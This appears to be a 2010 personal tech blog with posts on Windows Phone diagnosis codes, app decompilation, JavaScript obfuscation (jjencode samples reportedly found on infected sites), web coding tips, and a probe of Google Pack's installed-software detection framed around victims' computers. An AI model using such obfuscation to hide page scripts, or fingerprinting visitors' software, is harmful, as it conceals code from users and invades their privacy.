35190728	Bluetooth stuff
61709124	=
61709134	Bluetooth log
61709144	SSP
61709154	SSP
71671835	Factory Reset (careful while testing this one)
76247233	Factory Reset
76247243	Factory Reset
*#99867247#	-

Windows Phone 7 hacks, all the diagnosis codes you need, Part 1

2010-12-24T23:41:00.002+01:00

Lately I have been working on some hacks for the Windows Phone 7, and was interested especially in the Samsung diagnosis app that uses different codes to debug their devices.
I’ve succeeded to extract more than 60 codes that I will show in this post and the next one, and their basic functionality/use in the diagnosis app.
The following codes were tested on a real Samsung Omnia 7, I’ll be happy if you can confirm their use on other devices as well.
To enter the diagnosis app, type ##634# and press call, the application should now be placed on the list of apps.

*#80#	Touch Debug stuff
*#526#	Wifi factory test
*#745#	-
*#780#	SR test
*#1111#	FTA SW version
*#1234#	WIFI / Bluetooth mac
*#1575#	Gps test mode
*#1793#	Micro usb / sync / modem / tethering
*#2222#	FTA HW version
*#2263#	WCDMA, GSM band
*#2470#	Camera FWUpdate
*#2580#	Integrity control
*#2663#	Touch Screen Version
*#7284#	Micro USB Test
*#7298#	GPRS settings, auto pwr on/off
*#7353#	Self Diagnosis tool
*#7450#	Error report Off
*#7451#	Error report on
*#9090#	USB Diag / DBG msg on/off
*#9900#	Debug Dump
*#9906#	Debug Dump + Ril log
*#770#	Vphone tests 0
*#771#	=
*#772#	=
*#773#	=
*#774#	=
*#775#	=
*#776#	=
*#777#	=
*#778#	=
*#779#	Vphone tests 9

Windows Phone 7: why you should obfuscate your code

2010-12-21T01:08:00.001+01:00

A while back Microsoft sent some warning emails to the registered Windows Phone 7 developers about the threats their apps might face once published on the Marketplace. The apps on the Marketplace are available for download without any authentication required. What you need to get an app is simply the direct link to the .xap file, something of the form http://apps.marketplace.windowsphone.com/app-guid-here/CurrentBinary.xap, which contains the DLL that can be disassembled very easily with Reflector for example. More info here.

Here’s an excerpt from the email :

It is important to note that because of the leak containment steps Microsoft takes applications obtained outside of Marketplace will not run on consumer retail devices. Modified files would only run on a limited number of “unlocked” phones, such as those that have been registered by Marketplace developers on App Hub….

One powerful tool for protecting your apps and games is code obfuscation, which is a long standing best practice for managed code. Obfuscation is available tools like the Dotfuscator product recently announced for Windows Phone 7 applications. Microsoft has partnered with PreEmptive Solutions to make this tool, as well as a robust application analytics solution, available to Windows Phone developers for free through March 31st, 2011.

Right now, it seems that the only option to protect your app, is to use a code obfuscator, since anyone is allowed to download it from Microsoft servers without any restriction, whether they are using a real Windows Phone 7 or they are sniffing the traffic made by the Zune software (yes, I’m not going to tell you how to do it! you need to figure it out yourself).

For demonstration purposes, here is what Reflector shows when applied on an obfuscated DLL and on a non obfuscated one:

1. Obfuscated

2. Clear

As you can see, on the obfuscated version, Reflector shows either a message saying that the code was obfuscated and it cannot be disassembled, or a bunch of unreadable variable names with a lot of “goto” instructions.

On the other hand, the non obfuscated version is disassembled to (almost) the original source code, only the comments are missing.

Last word, if you are developing anything for Windows Phone 7, do not forget to obfuscate your code before publishing your app on the market.

Windows Phone 7 Hacks : the start…

2010-11-18T23:41:00.001+01:00

So Windows Phone 7 haven’t been out for a long time and we have already started to see some hacks from around the web. In this post series, I’ll list the hacks and tips that I test myself on my Samsung Omnia 7. As a result I won’t be held responsible for you screwing anything up with your machine.

Diagnosis mode:

Diagnosis mode on Windows Phone 7 seems to be a way WP7 creators used to test the devices, fortunately, it is also used to enable and disable features on the phone, here is how to activate it:

type ##634# and press call, the diagnosis app should now be added to your applications
there are a lot of diagnosis codes that you can try, for instance :
- *#03# will get you to the SMDInfo
- *#05# will give you a very rich interface for testing capabilities, including Vibration, keys, Camera, TSP, Acceleration, Battery, Proximity, Loopback and Light
- *#1234# will show a lot of information including the Wifi Mac address and the Bluetooth Mac address
- *#06# shows the IMEI number
- *#2222# some debugging stuff that I couldn’t figure out.

Enable tethering mode :

By going to the Diagnosis mode showed in the previous section, and typing *#7284# you will get the choice to change the connection to the PC from Zune sync, to Modem Tethered Call or Modem Usb Diag, more coverage about tethering here.

You need to note that using the device as a modem will enable you to connect your PC to internet using the phone’s network, I couldn’t reach this in France, since the dial-p numbers for SFR don’t seem to work for me (*#9# or *#9***1#).

Also, on Windows 7 x64, the phone won’t be detected, I suspect that the drivers are not signed and Windows reject them, hence you need to try the above method on a 32bit Windows.

Here is a screenshot for Samsung Omnia 7 installed as a modem on a Vista x86.

SD-Cards, are they seriously dead once put on a WP7 phone?

There have been a lot of talking about this one, and how magically Windows Phone 7 locks sd-cards so they become unreadable and cannot be formatted on any other machine.

It turns out that Symbian devices can actually format WP7 sd-cards, so if you got a nokia, you are clear, all your sd-cards are useful again, more on the topic here.

WP7 already rooted, jailbreaked?

It seems it will happen soon, some developers out there are claiming access to the wp7 filesystem, let’s hope it will happen soon, more here.

Windows Phone 7 filesystem access

Source code of apps on the Marketplace:

A very strange but true fact about wp7 and the Zune software, is that, when you use Zune to download apps from the Marketplace, you can sniff the traffic sent and returned to Zune to intercept the url of the application xap (a zip file containing binaries and resources of the app).

Once, this xap is downloaded (yeah, MS servers just give you the app happily without any authentication or anything), the DLLs could be disassembled to retrieve the original source code, using a tool such as .NET Reflector for example.

This is a sample of a url of an app from the Marketplace http://apps.marketplace.windowsphone.com/****id-here****/CurrentBinary.xap

More details will be discussed about this specific topic, from how to sniff packets till full disassembly (it is legal isn’t it?)

Mount a wp7 device as a USB drive:

Today, a small hack showed that wp7 can be mounted as a normal usb drive, ~~but unfortunately, you can only copy files *from* wp7, I tried to copy files to wp7 including music and pictures, but it didn’t work, you can’t also create new directories neither~~.

Well, now it seems I am able to copy files into the phone :D. No, no, it is back, I cannot copy files into the phone, need more investigation it seems.

For how to make wp7 behaves as a USB drive, here is how

Open regedit, and locate HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USB then search for ZuneDriver
Change ShowInShell from 0 to 1
Change PortableDeviceNameSpaceExcludeFromShell from 1 to 0
Change EnableLegacySupport from 0 to 1

Voila! just close that cursed Zune thing and the phone will show up as a USB driver as showed in the following pictures.

If you need assistance with pictures (!!) here’s a detailed post about it.

Windows Phone 7 : hands on (Samsung Omnia 7)

2010-11-13T03:35:00.001+01:00

It has been almost a week I am trying a new device, the Samsung Omnia 7, which runs the new Microsoft’s OS Windows Phone 7. It took me a lot of time to get one after the very chaotic launch of the new OS in France, but well, finally I’ve got one.

In this post, and the ones that will follow, I’ll describe my experience with the new OS (the device too), so if you are looking for a technical review of the OS, here’s an exhaustive review from ars technica.

The OS

Talking about the OS itself, there are things I love about it, things I like, and stuff I hated already. The look ‘n’ feel of the Windows Phone 7 UI is great, I like so much the minimalistic design, no round boxes, no shadows etc, just different sizes of text to differentiate the title of a page from its content for example.

What I also like about Windows Phone 7 is the fact that you can use several services other than Windows Live for syncing contacts, calendars and emails. Gmail integrate pretty well, and if you have been an Android user like me, all your contacts can be imported just as easy as your Live ID contacts.

The camera is awesome, when taking a picture, you just slide on the left side and you get the last pic you took, no menus to go through, very intuitive and simple.

Animations also are pleasant, they don’t disturb your work, and are as fast as they should be to give a great user experience.

Internet explorer is really fast and smooth with Bing search and voice commands, it is a pretty enjoyable experiment.

Today, I had the chance to try the gps on the device and how fast and accurate it is, I was completely surprise, it is perfect, pretty fast, so responsive and accurate while used with Bing Maps.

What I don’t like about Windows Phone 7 is mainly the features that lacks the OS and which have been discussed in (almost) every website reviewed the OS.

You cannot change the ringtone (what a big deal right ;D ).

More seriously, there is no copy past!! I totally hate the way Microsoft is playing Apple with its customers! The whole world knows that copy/paste is not that hard to implement on any OS, and hence MS has made the choice not to include it and not because it is a feature that they will *work* on on the future!

While they have already promised for some updates by early 2011, playing Apple with Windows Phone 7 is “disgusting”, Windows Phone users are not iPhone users, and even if MS wants to play the game, does that mean it has to copy the iPhone 1 and let its users 4 years late compared to the other Mobile Operating Systems??

There is no way to take screenshots on the device!! how I am supposed to do reviews on the OS and apps then?

Also, there is no sharing option for webpages, videos or even pictures and photos on social networks! you take a pic, you close the Photos app, you open Twitter app, then join a pic to share it! For a webpage it is simply impossible to share its URL, since there is no freaking copy/paste.

The Filesystem is completely unknown for users (developers), there is an Adobe Acrobat reader app, but guess how you open pdf files?? whether you download them from the web and they get saved somewhere, or you download them from your email! there is no way to just put your pdfs on the phone to read them later.

Multitasking, please don’t get me to start on this one!

You have no control over the browsers settings, you can’t disable Javascript for example. You can’t install arbitrary certificates on the device and you can’t setup proxies, if you have come from the Android world, that will be a hell for you.

The Device

Samsung Omnia 7 rocks, with its 4inch AMOLED screen that puts the iPhone’s to shame (according to my biased opinion ^_^), the touch is just another great part of the device as well. With a 5 MP camera, HD video recording and 1GHz processor, I simply adore it.

For a complete review about the device, take a look here.

However, I find the search’s button (if it can be called so) position a little irritating, while holding the device in landscape mode, usually, your finger just press it unwillingly, since it is almost at the edge of the corner, but with time, you get used to it.

But! the earbuds are a complete failure, the quality of sound is just good, but the way they have to be used is really irritating, first, when you put them you can hear nothing around you, literally nothing, you can get hit by a car without even noticing (hearing) it approaching.

If you try to lower the volume on the earbuds to try to hear any extern voices, you will get an annoying sounds of the earbuds themselves when they touch your clothes, which makes them useless in the two cases.

Encode Javascript with a Japanese style emoticons (^_^)

2010-11-05T15:32:00.000+01:00

Remember that JJencode method that inserts $ everywhere and makes the code absolutely unreadable from the last post? well, if you liked it, then this one is going to be a real surprise for you.

The same guy who created the JJencode methode, has created also some weird method to encode Javascript, a Japenese emoticons encoded Javascript (^_^), no seriously, here is how your code will look like after encoding (enjoy :D imagine that in a real webpage):

((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟｰﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟoﾟ]) (ﾟΘﾟ)) ('_');

Pretty convincing right, especially the ('_') and (ﾟｰﾟ) emoticons, and yeah, that's real javascript there.

To get your scripts encoded, just head to Yosuke HASEGAW's webpage here, and as usual, to know what is going on behind an encoded script like that, here's the magical part :

document.write("<textarea>"+ encoded_code +"</textarea>");

This guy absolutely rocks, I mean, do you see how this Javascript looks like (^_^).

jjencode, a new way to obfuscate Javascript

2010-10-24T15:18:00.002+02:00

Extraexploit blog reported lately a new wave of infected websites (using joomla CMS) with Javascript code that looks like this :

$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$]
,_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$
$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$
:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_
[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$
_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_
[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.
$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(!
[]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"(\\\"\\"
+$.__$+$.__$+$.___+$.$$$_+(![]+"")[$._$_]+(![]+"")[$._$_]+
$._$+", \\"+$.__$+$.__$+$._$_+$.$_$_+"\\"+$.__$+$.$$_+$.$$_+$.$_$_
+"\\"+$.__$+$._$_+$._$$+$.$$__+"\\"+$.__$+$.$$_+$._$_+"\\"
+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$$_+$.___+$.__+"\\\"
)"+"\"")())();

It turns out that this new method of obfuscation is actually not totally new, the method is called jjencode and it is available on http://utf-8.jp/public/jjencode.html.

If you ever run onto an obfuscated code like that one, you can use the above website to decode it, (careful with the eval part though), and if you wanted the plain Javascript code you can wrap the encoded code within the following call:

document.write("<textarea>"+ encoded_code +"</textarea>");

Arabic Support on Android is Here

2010-09-11T01:15:00.001+02:00

The subject of Arabic language on Android devices has been so debated, with more than 5000 requests on Google’s Android issue lists http://code.google.com/p/android/issues/detail?id=5597.

Today, while getting SICK (totally) of the (untruthful) promises of SFR to make Android 2.2 Froyo available for its devices, I decided to go ahead and install a custom ROM (CyanogenMod 6 ROM) here. And I’m really impressed how it is working smoothly –yeah multitouch work on HTC Magic :D-

Arabic seems to work pretty well on third party applications, but sadly on the browser the characters are printed but from left to right!

And what’s with Isreal being choose as a country for Arabic language? it is an official language there ok, but seriously?

Ajax Calls on ASP.NET UserControls

2010-09-05T03:48:00.001+02:00

You cannot make Ajax calls on ASP.NET user controls can you? So what’s the solution? give up? absolutely not.

While believing arrogantly that I am a genius or that C# is the most beautiful piece of software ever created (and will be), ideas had been floating in my head non-stop, and most of the problems I faced just got solved, of course with nasty non advised tricks :-), keep reading.

I needed to call a web method on a usercontrol, and all I wanted was the result of the processing returned by this method, so I tried the ASP.NET AJAX PageMethods but the result was PageMethods is not defined!

Cool, if we need the result of the web method in our JavaScript, we can profit of the ASP.NET server controls and the UpdatePanel for Ajax calls, here are the steps:

1. Inserting an UpdatePanel on you usercontrol, and within it, inserting a Label and a button or a timer (or whatever way you want to callback you usercontrol)

 <asp:UpdatePanel ID="UpdatePanel1" runat="server">
    <ContentTemplate>
        <asp:Timer ID="Timer1" runat="server" Interval="4000" ontick="Timer1_Tick">
        </asp:Timer>
        <br />
        <asp:Label ID="Label1" runat="server" Text="Label" CssClass="ResultPlaceHolder"></asp:Label>
    </ContentTemplate>
</asp:UpdatePanel>
 

The label above will be a placeholder of our Ajax call result, it has a class name ResultPlaceHolder so that it will be found easier using jQuery, as you should know, ids and names on server controls get messed up in client side with ASP.NET.

2. Setting up the result from within the Timer tick method (or the click method of your button)

 protected void Timer1_Tick(object sender, EventArgs e)
{
    Label1.Text += "a: ";
    return;
}
 

3. Exploiting these fresh results in your JavaScript, the best way would be by setting an interval for a function that checks the results in the placeholder every given moments.

 <script src="http://my-super-slow-uncool-laptop/jquery/jquery-1.4.2.min.js" type="text/javascript"></script>
 
<script>
    $(document).ready(function () {
        $("#button1").click(function () {
                alert($(".ResultPlaceHolder").text());
        });
    });
 
   var i = 1;
   function updateResult() {
        // DO WHAT EVER YOU WISH WITH THE RESULTS
       i++;
       if (i < 10)
           $("#show").html($("#show").html() + "<br/>" + $(".ResultPlaceHolder").text());
       else {
           $("#show").html($(".ResultPlaceHolder").text());
           i = 1;
       }
   }
 
   setInterval(updateResult, 1000);
</script>
<p>
    <input type="button" value="Ajax it" id="button1"/>
    <div id="show"/> 
</p>
 

And voila, this is a nasty nonadviced method to do Ajax calls to webcontrols’ methods, a la “vite fait”. Enjoy.

How to select distinct values based on a specific predicate using Linq Disctinct method

2010-09-04T03:33:00.001+02:00

Selecting distinct values in a Linq query while working on non trivial data need more than a simple call to the extension method Distinct().

Say I have the following xml data, and I want to select only distinct data elements based on their date attribute.

 <SOMETING>
    <HISTORY>
        <data date="19/01/10 14:34:00" >1963</data>
        <data date="19/01/10 13:34:00" >1960</data>
        <data date="19/01/10 14:34:00" >1960</data>
        <data date="17/01/10 21:34:00" >1911</data>
        <data date="17/01/10 21:34:00" >1911</data>
        <data date="17/01/10 11:34:00" >1911</data>
        <data date="17/01/10 18:34:00" >1911</data>
        <data date="17/01/10 17:34:00" >1911</data>
    </HISTORY>
</SOMETING>
 

As you can see there are some duplicates regarding the date attribute, the following Linq query will return all the data elements as an IEnumerable of HistoryDataElement.

 class HistoryDataElement
{
    public string Date { get; set; }
    public int Value { get; set; }
}
 
XDocument doc = XDocument.Parse(xml);
 
var dataElements = (from data in doc.Descendants("data")
                                select new HistoryDataElement
                                {
                                    Date = data.Attribute("date").Value,
                                    Value = int.Parse(data.Value)
                                });
 

If we want distinct results based on the date attribute for example, we have to create a comparison class that implements the interface IEqualityComparer<T>.

Here is a very simple implementation:

 class DataExtractorElementComparer : IEqualityComparer<HistoryDataElement>
{
 
    public bool Equals(HistoryDataElement x, HistoryDataElement y)
    {
        return x.Date == y.Date;
    }
 
    public int GetHashCode(HistoryDataElement obj)
    {
        return obj.Date.GetHashCode();
    }
}
 

With this class in place, we can just pass a new instance of this class to the Distinct method to get the desired results :

 var dataElements = (from data in doc.Descendants("data")
                                select new HistoryDataElement
                                {
                                    Date = data.Attribute("date").Value,
                                    Value = int.Parse(data.Value)
                                }).Distinct(new DataExtractorElementComparer());
 

Notice that this way, you are eliminating all the duplicates that have the same property date, so only the first element of the matching elements is retrieved even If the other properties differ, this is cited by code in the Equals method of the IEqualityComparer<T>.

How To Use the New Twitter Retweet Button in Blogger

2010-08-26T15:56:00.001+02:00

After the release of the new native retweet button from twitter it is better to use this one than the old tweetmeme retweet button, since tweetmeme themselves recommend using the new native button from twitter now.

Inserting the code provided by twitter (http://twitter.com/goodies/tweetbutton) directly into your template will not work on your blog home page, since all the tweet counts will have the number of tweets mentioning the home page and not each post, hence the problem. To solve it, you can customize the button as follows.

Tweetmeme used to use Javascript for customization, but twitter offer a new way to do this, by inserting directly data as attributes for the html button. You can insert the code wherever you want inside the <b:loop values='data:posts' var='post'> element.

Twitter retweet for Blogger
 <b:if cond='data:blog.pageType != &quot;item&quot;'>
    <a href="http://twitter.com/share" class="twitter-share-button" data-count="horizontal"
    expr:data-url="data:post.url"
    expr:data-text='data:blog.pageTitle + ": " + data:post.title'>Tweet</a>
    <script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>
</b:if>
            
<b:if cond='data:blog.pageType == &quot;item&quot;'>
    <a href="http://twitter.com/share" class="twitter-share-button" data-count="horizontal"
    expr:data-url="data:post.url"
    expr:data-text="data:blog.pageTitle">Tweet</a>
    <script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>
</b:if>    
 

If you don’t know where to put the above code, search for <b:include data='post' name='post'/> and insert the code before this element to show the retweet button at the top of each post, or after to show it at the end of each post.

Here we are inserting the same code proposed from twitter and customizing the data-url and data-text so that the url for each retweet button is the one of the blog post itself and not the home page, and the text is the tile of the page alone if we are viewing a specific post, or the title of the blog plus the title of the post if we are viewing the homepage.

Multilingual Website Interface on the Fly With jQuery

2010-08-14T16:44:00.002+02:00

Applying a multilingual interface on your webpages and allowing the change at the client side without the need for a server postback has never been easier using the technique I’ll describe in this post.
While developing Bloginto, I came across the situation of implementing an English-Arabic-French interface with the possibility to change the language on the fly (on the client side), so I used a trick so close to culture resource files in the .NET.
My first priority was to write the minimum of code using jQuery, and as you will see, it is *really* minimal.

1. Preparing the resources for the language

We will encapsulate the language resources with Javascript arrays, here is an example:

function getLanguageResources() {
    var fr = new Array(); var en = new Array();
 
    fr['settings'] = "paramètres"; en['settings'] = "settings";
    fr['default_feed'] = "Flux par défaut"; en['default_feed'] = "Default feed";
    fr['hidden'] = "Masquer"; en['hidden'] = " Hidden";
    fr['save_settings'] = "Enregistrer les paramètres"; en['save_settings'] = "Save settings";
 
    var resources = new Array();
    resources['fr'] = fr;
    resources['en'] = en;
 
    return resources;
}

The getLanguageResources function returns an array that contains an associative key/value arrays of the desirable languages, notice how the same key is used for the different translations.

2. Preparing the HTML markup

We need to put placeholders for the multilingual text to show in the markup, I choose a <span> tag here, but obviously you can use whatever elements fits best. The trick is to have all these multilingual spans use the same name attribute (this is not a necessity neither, you can use whatever attribute you wish), and have them use another attribute, for example caption which value is the key of the text to show in the resource arrays.
We will also add two buttons to test the language change, here is the final markup :

<input type="radio" id="radioEnglish" name="radio-language" value="en"/><label for="radioEnglish">English</label>
<input type="radio" id="radioFrench" name="radio-language" value="fr"/><label for="radioFrench">Français</label><br/>
 
Text for : settings : <b><span name="lbl" caption="settings"></span></b><br/>
Text for : default_feed : <b><span name="lbl" caption="default_feed"></span></b><br/>
Text for : hidden : <b><span name="lbl" caption="hidden"></span></b><br/>
Text for : save_settings : <b><span name="lbl" caption="save_settings"></span></b><br/>

Notice how the radio buttons for changing the language have values which are the keys of the resource language (the arrays).

3. jQuery magic

Now we will apply some jQuery code to associate the spans with their corresponding text from the language selected by the radio buttons

function changeLanguage(lang) {
    var langResources = getLanguageResources()[lang];
 
    $("span[name='lbl']").each(function (i, elt) {
        $(elt).text(langResources[$(elt).attr("caption")]);
    });
}
 
$(document).ready(function () {
    $("input[name='radio-language']").click(function () {
        changeLanguage($(this).val());
    });
});

Here we attach a click event to the radio buttons, and we simply call the function changeLanguage whenever a button is clicked, we pass the value of the “value” attribute of that button to the function which represents the specified language (‘fr’ or ‘en’)
The changeLanguage function loads the corresponding array of the languages from the getLanguageResources function, then iterate through every element that has the attribute name “lbl”, and change its text to the value in the resource language array which key is the caption of that specified element (span), pretty simple!
As you can see, all the magic is done with 2 lines of jQuery, if you guessed that the “.attr()” method will do the same instead of “.each()” then you’ve guessed wrong, attr() applies only to the first element in the selection set. See .attr() specification here.

4. Demo

Her is a working demo http://jsfiddle.net/uUgWD/.

Bloginto 2.0 is here, with a lot of improvements

2010-08-08T05:05:00.001+02:00

Bloginto is a Google Chrome extension that brings feeds from the Digg like websites called Bloginy for both the Algerian http://bloginy.com and the Moroccan http://bloginy.ma

Today I’m pleased to announce that the version 2.0 of the extension is here, you can install it from https://chrome.google.com/extensions/detail/jppmcmbnmodlmgbfdddmeopgagancoak or update it from the settings section in Google Chrome if you have already installed the previous version.

This new version $(‘was’).completely(‘jQuery’, ‘fied’), cleaner and reliable code has been introduced to make sure handling all the error cases by showing pretty informative messages to the user. Enough talking, here are the new features :

As you can see from the settings page :

You can choose the default view, the Algerian or the Moroccan Bloginy, this has been present in the previous versions, but it has an impact on the notifications of the unread and new arriving feeds, you will notified only when feeds from the default feed arrive.
The notification themselves : the number shows the unread feeds count, it will refresh automatically and change when you read feeds or new ones become available.
Because you can vote on articles directly from the extension now, there is a section where you can save your user name and password for both, Bloginy.com and Bloginy.ma.
Timeouts for the request, you should make this bigger if you have slow internet, and the feeds timeout, this is the frequency of checking new articles on the website.
While reading feeds, you can mark them as read, and the extension offer you to hide read feeds, or just mark them with a different color.
And most of all, it is now multilingual, you can change the language from Arabic to French to English, and it works on the fly (God bless jQuery), if you need to know how this is done, here is the code that does it all :p

$("span[name='lbl']").each(function(i, elt){
$(elt).text(l[$(elt).attr("caption")]);
});

where l is the resources language;

The extension itself allows the marking/hiding of the read posts, live voting and twittering the posts directly from the extension. You can toggle hidden posts by clicking on the button at the top. To vote, you simply click on the “like” icon, to twitter… well you click on the twitter icon and to mark a post as read, you click on the description of the post.

Finally, I hope Bloginy will get a little active after making the voting available directly and eventually allowing multiple languages that may match the users tastes.

The code source is available on Google Code at this address : https://code.google.com/p/bloginto-chrome/

$(‘feed > back’).is({always: ‘welcome ;)’}) ;
Ramadan Mubarak for all, and that’s my present for you guys to spend more time “engaged” with the community.

Javascript and Variable Scope CAPTCHAs

2010-08-03T01:18:00.001+02:00

Today I have been doing some Javascript in order to finish some details to the Bloginto extension for Chrome, and run into a situation where two functions use a variable named i inside a for loop without explicitly defining it with the var keyword, here is an example :

 function funA(){
            var arrA = ['a', 'b', 'c'];
            for(i=0; i<arrA.length; i++);
                //Do whatever you wish here
            return false;
}
 
function funB(arrB){
            for(i=0; i<arrB.length; i++){
                //A call to funA here that has the variable i not explicitly defined with var
                funA();
                console.log(arrB[i] + '  ' + i);
            }
            console.log('end of funB');
}
 
function execute(){
    var array = ['t', 'r', 't', 'i'];
    funB(array);
}
 

Can you tell what will be the output in the console after a call to the execute function?

My first guess was that every function has a local variable i and everything will work as it is expected, but it turns out that when not defining explicitly the variable i with the var keyword, it will be considered as a global variable, and hence funA and funB will use the same variable, hence, funB will iterate one time, incrementing i to 1 then funA will increment it to 3, and thus, the for loop will end immediately with the output in the log screen :

i 3
end of funB

As you can see in the debugger, the variable i is defined in the same scope as funA and funB, so you have to be careful with this, because it might be the source of a lot of trouble.

How Does Google Pack Know What Application is Installed On Your Computer

2010-08-01T15:15:00.001+02:00

Google pack is a set of software made available free by Google including programs by Google like Chrome and Picasa or other vendors like Mozilla Firefox and Adobe Reader. What is strange about the Google pack is its webpage, where it shows the applications you have installed on your computer and the applications that are not installed already.

The question that pops first is, how does a webpage knows what software is installed on my computer? I decided to see how does it work, inspecting Google’s ~~coming-from-hell~~ javascript files and trying to figure out how things are put together. To be honest, my motivation was first to know if I can use Google’s technique to leverage any information about other installed software on a victim’s computer or not, and the answer I simply: no you cant, don’t bother.

Google’s pack webpage http://pack.google.com/ links to a javascript file and have some application parameters initialized at the page loading, with a notable array of guid ‘s and application names:

 {'93613D9F-C440-475B-8379-E7B7E37DAAB7':'ci_ar',
'71339EA2-A88C-11DE-8E3D-65F655D89593':'ci_avast',
'8A69D345-D564-463C-AFF1-A69D9E530F96':'ci_chrome',
'74AF07D8-FB8F-4D51-8AC7-927721D56EBB':'ci_earth',
…}
 

It turns out that Google stores information of the applications in the Windows registry (not exactly the same technique on other systems) at the path HKEY_LOCAL_MACHINE\SOFTWARE\Google\Google Updater\AppData\. My research was manly about how does the Javascript code figure out how to fetch these information from the registry and if it is possible to make it read information from other locations in the registry.

Using burp proxy to intercept and change the applications guid on the fly in the html page, I didn’t come to any result, and it turns out that the only information that is read from the registry was only from inside HKEY_LOCAL_MACHINE\SOFTWARE\Google\Google Updater\AppData\.

So the only trick left was to analyze the javascript file http://pack.google.com/cominst.js?2 (go ahead, take a look), if you want to try the code yourself, you can use the console in firebug under firefox or the Developer Tools (Ctrl + Shit + I) under Google chrome.

The javascript code defines some objects used to manipulate all the operations from reading the list of applications available, to fetching the applications already installed etc…

First a script on the page creates a _CI_Pack object named pack, this pack object have a property named plugin that contains a Plugin object which is the main piece of code we are looking for. This plugin is an embed object installed on the page with the function Plugin.createCIObject that inserts the following code on the page :

 <embed id="CIPlugin_14" type="application/x-vnd.google.cominstctrl.14" width="0" height="0">
 

This plugin then exposes an attribute called ciobj which is the one reading information from the registry.

In fact this plugin preloads all the information from the registry found in HKEY_LOCAL_MACHINE\SOFTWARE\Google\Google Updater\AppData\ in advance, and the guids that are presented in the pack object have no effect on these information, that’s why we can’t inject or make the plugin read other keys outside this path.

You can read the guid of the applications loaded by the pluing using this code :

 var b = pack.plugin;
var e = b.ciobj;
alert(e.Applications.Length);
for (i = 0;i<e.Applications.Length; i++)
    alert(e.Applications.ElementAt(i).Id);
 

How the plugin discover the installed applications :

The plugin object uses a simple method to know if the application is installed or not, installed applications have a version number associated with their corresponding object, if the application is not installed, the version number have the value of null, Google checks if the version number is not null, and hence figures out if the application id already installed or not.

 function d(m) {
    if (!m) return false;
    var o = c[m.Id.toUpperCase()];
    if (!o) return false;
    if (b.ci_mimeNum >= 14) { //Here the script check for the installed application
        m = m.Version;
        if (!m) return false
    }
    return i[o] = true
}
 

Note that every object in pack.plugin.ciobj.Applications have the two properties exposed for javascript which are Id and Version. The script is really complicated due to the shortening in the variable names, and this function is the one responsible for returning the installed apps function getInstalledList(b, c).

And that’s it, maybe when someone else wonders someday how Google Pack fetch the information of installed applications on the visitor’s computer, he won’t hopefully waste 3 or such days trying to figure out how that javascript file works.

Circular Links in You Twitter/Facebook updates

2010-07-25T15:25:00.001+02:00

Say you want to insert a link for your tweet inside that same tweet, or want to link a facebook update inside the update itself. The issue with this is that: first you can’t know what will be the link to your new tweet/update, and second, once you post something on these sites you can’t change it (unlike Google Buzz for example).

I am used to celebrate my tweets which rank is of the form xxxx where 0<x<10 (I expect some technical knowledge for my reader :p), for example my 1111th and 6666th tweet, and usually the form of the tweet was :

wohoo, my xxxxth tweet [and a link to this same tweet here]

The idea was to use a link shortening service and do the following, we can use bit.ly

Check if the url http://bit.ly/WHAT_EVER_YOU_WANT_HERE is not already taken, by typing it into the browser and checking that a Page Not Found error occurred which means the suffix WHAT_EVER_YOU_WANT_HERE is available.
post your tweet/update with the above link.
then take the link of the new tweet/update, shorten it with bit.ly and custom the shortened url using the same suffix of the link above.

And by doing this, you finally have a circular link, targeting the same tweet/update which contains the same link targeting the same… you get the point.

Here is an example of a tweet:

A test tweet with a circular linkhttp://bit.ly/WHAT_EVER_YOU_WANT_HERE

Pictures on Social Networks are Going to Stay Forever

2010-07-16T16:49:00.004+02:00

If you have ever uploaded a picture on a social media network like Facebook or photo sharing services like Twitpic and Flickr then wanted to delete them, this might be a big trouble for you.

I figured out today that deleting a picture from Facebook makes it disappear from their website (the link doesn’t of the picture show up anymore) but not really from their servers, and a small research on the web shows that this is not new, it has been showed that pictures deleted from Facebook, MySpace etc are not always deleted right away, and actually their Facebook picture is still online after more than a year now without disappearing from the Facebook servers.

For testing purposes I tried deleting pictures from Facebook, Picasa and Twitpic, only Twitpic has deleted the photo after few minutes, the other two are still here.

